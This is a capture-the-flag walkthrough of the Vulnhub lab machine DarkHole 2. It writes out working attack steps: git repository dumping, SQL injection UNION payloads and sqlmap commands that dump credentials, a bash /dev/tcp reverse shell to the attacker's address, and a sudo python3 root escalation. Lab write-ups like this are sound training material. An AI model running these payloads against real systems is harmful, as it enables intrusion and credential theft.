DarkHole 2 is an easy to medium machine from Vulnhub. However, the author has rated this as a hard machine. So, this difficulty depends on your experience with CTF machines. For me, it took less than 1 hour to get to the root. Furthermore, I have tested this machine on VMWare. “DarkHole_2 Walkthrough – Vulnhub – Writeup”
Link to the machine: https://www.vulnhub.com/entry/darkhole-2,740/
Identify the target
Firstly, I had to get the IP address of the target. The DHCP is enabled and VMWare assigns an IP address to the machine.
sudo netdiscover -r 192.168.19.0/24
Identify the open ports
Next, I scanned the open ports to get the information of exposed services.
nmap -v -T4 -sC -sV -p- -oN nmap.log 192.168.19.137
Here, we got a “/.git” path on the webserver. From this, we can get the source code. I will show you two ways to do such a thing. However, let’s start by visiting the webserver.
Enumerate the webserver
On the default page, we see a login link that doesn’t suffer from SQL injection.
Since we can generate the source code, we can check the implementation. For my first method, I won’t use any specific tool and on the second, I will use the GitTools.
Using wget and git
We can download the git repository as follows.
wget -r http://192.168.19.137/.git
This will create a directory having the name as the IP address. Inside, the directory, it has the files downloaded recursively including the “.git”.
Now that we have the .git directory, I can clone this as follows.
git clone . webapp
This will create a git repository “webapp” where we can perform all git operations.
On the login.php page, we see logic for login.
As we can see above, the highlighted section is sanitizing the input. Thus, we cannot perform SQL injection. However, when I checked the git logs, we will see credentials in the same place.
From the git logs, we see on the second commit the author has added the default credentials. So, let’s switch the HEAD to that commit.
git checkout a4d9 cat login.php
Now, we see the credentials of the user with ID 1. We can easily log into the web app now.
Hence, in this way, we get access to the dashboard. Now, let’s do the same thing using GitTools.
Firstly, we have to clone the GitTools repo on our local machine.
Repo Link: https://github.com/internetwache/GitTools
There are three tools of which I am going to use two of them.
~/GitTools/Dumper/gitdumper.sh http://192.168.19.137/.git/ gitdump
The above command will dump the .git directory to a directory gitdump.
~/GitTools/Extractor/extractor.sh . .
Similarly, the above command will extract the source code and organize it as per the commits as shown below.
The remaining is the same as the previous. The only difference is it dumps everything in separate directories. Now, let’s move further to the SQL injection.
On the dashboard URL, we see a GET parameter “id”. When we change its value, we can observe changes in the page as well.
The values disappear because of course there won’t be a user with an ID null. Hence, this gives us an idea that there are at least 5 columns on the table “users” including “id”. Let’s check if this suffers an SQL injection by replacing the value with a single quote.
As soon as I used the apostrophe, we see a blank page suggesting an error. This further hints at the possibility of SQL injection. Let’s try both the manual way and the “SQLMAP” way.
Extract information manually
To extract information, we mostly use the UNION query. However, to perform the UNION operation, we need to identify the number of columns on the table. Here, we have a rough idea of the least number of columns. But we can be certain by using ORDER BY in the query.
id=1' ORDER BY 5 -- - id=1' ORDER BY 6 -- - id=1' ORDER BY 7 -- - # This gives an error suggesting the 7th column doesn't exist
Therefore, we can say that there isn’t a 7th column because we got an error. So, let’s use a UNION query as follows.
id=NULL' UNION ALL SELECT 1,2,3,4,5,6 -- -
Here, we see that numbers 2,3,5 and 6 are reflected in the UI. This means that we can use columns 2,3,5 and 6 to dump data. Firstly, let’s identify the database names. However, we know the database of the machine from the config.php file in the source code. The database name is “darkhole_2”. But, let’s find out this way too.
NULL' UNION ALL SELECT 1,GROUP_CONCAT(schema_name),3,4,5,6 FROM information_schema.schemata -- -
To show all values, we have to edit the form field. However, we can look at the source of the page for a better view.
In this way, we can also list the tables from the database.
id=NULL' UNION ALL SELECT 1,GROUP_CONCAT(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema='darkhole_2'-- -
We can see that there is another table SSH. Now, we have to find the column names of the table.
id=NULL' UNION ALL SELECT 1,GROUP_CONCAT(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name='ssh'-- -
Now, we can dump the password and the username.
id=NULL' UNION ALL SELECT 1,user,pass,4,5,6 FROM ssh-- -
Next, we can log into the server with the credentials.
Now, let’s do this using the sqlmap tool.
Firstly, we have to capture the cookie using burp suite or firefox developers tools.
Then, we can use sqlmap as follows.
sqlmap -u 'http://192.168.19.137/dashboard.php?id=1' --cookie='PHPSESSID=fpsucd0u7jvc792oheut09dhsg' --dbms=mysql --current-db
sqlmap -u 'http://192.168.19.137/dashboard.php?id=1' --cookie='PHPSESSID=fpsucd0u7jvc792oheut09dhsg' --dbms=mysql --current-db -D darkhole_2 --tables
sqlmap -u 'http://192.168.19.137/dashboard.php?id=1' --cookie='PHPSESSID=fpsucd0u7jvc792oheut09dhsg' --dbms=mysql --current-db -D darkhole_2 -T ssh --dump
In this way, we can quickly dump the database using sqlmap. Now, let’s move further to our SSH shell.
Switch to losy
We see a cronjob that is run as the user losy.
Here, we can see that a web server is running at port 9999. When we see the content of the source code, we see that this allows remote command execution.
Thus, we can tunnel port 9999 using SSH as follows.
ssh -L 9999:127.0.0.1:9999 email@example.com
Then, I could visit 127.0.0.1:9999 for the RCE.
Now, we can get a reverse shell as the user losy. For that, I am listening on port 9001.
nc -nlvp 9001
The following payload would give me a reverse shell.
bash -c 'bash -i >& /dev/tcp/192.168.19.100/9001 0>&1'
Next, I had to encode this in URL-encoded format.
This gave me the shell.
Lastly, I upgraded the shell.
Root privilege escalation
The root privilege escalation part is as easy as it could get. On the .bash_history file, we see a password intentionally put.
Then, I checked the sudo permissions of the user.
This is an easy case of RPE.
sudo python3 -c 'import os; os.system("/bin/bash")'